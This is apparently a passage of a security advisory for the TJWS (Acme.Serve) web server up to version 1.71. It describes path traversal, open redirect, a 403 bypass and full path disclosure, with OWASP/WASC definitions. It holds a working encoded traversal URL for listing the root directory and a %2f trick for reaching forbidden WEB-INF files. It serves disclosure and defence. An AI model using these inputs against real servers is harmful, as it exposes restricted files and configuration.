# Version: <= 1.71
# Tested on: JRE build 1.6.0_17-b04
#
##[Path Traversal:]
A Path Traversal attack aims to access files and directories that are stored outside the web root folder. By browsing the application, the attacker looks for absolute links to files stored on the web server. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration and critical system files, limited by system operational access control. The attacker uses “../” sequences to move up to root directory, thus permitting navigation through the file system. (OWASP)
#
http://localhost/..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C
(You'll get the root directory on the volume)
#
#
##[Open Redirect:]
An open redirect is an application that takes a parameter and redirects a user to the parameter value without any validation. This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it. (OWASP)

##[403 (Forbidden) Bypass:] (Insufficient Authorization)
Insufficient Authorization results when an application does not perform adequate authorization checks to ensure that the user is performing a function or accessing data in a manner consistent with the security policy. Authorization procedures should enforce what a user, service or application is permitted to do. When a user is authenticated to a web site, it does not necessarily mean that the user should have full access to all content and functionality. (WASC)
#
The Attacker can bypass a forbidden file by adding %2f before the forbidden folder/file.
#
#e.g:
HTTP REQUEST:
#
GET /demo-servlets/WEB-INF/config/mishka.properties HTTP/1.1
Host: localhost
#
Lead to:
#
HTTP RESPONSE:
#
HTTP/1.1 403 Forbidden
content-type: text/html
connection: keep-alive
date: Thu, 25 Mar 2010 17:49:56 GMT
keep-alive: timeout=30, max=100
content-length: 243
server: D. Rogatkin's TJWS based on Acme.Serve/Version 1.71, $Revision: 1.199 $
mime-version: 1.0

##[Full Path Disclosure:]
Full Path Disclosure (FPD) vulnerabilities enable the attacker to see the path to the webroot/file. e.g.: /home/omg/htdocs/file/. Certain vulnerabilities, such as using the load_file() (within a SQL Injection) query to view the page source, require the attacker to have the full path to the file they wish to view. (OWASP)
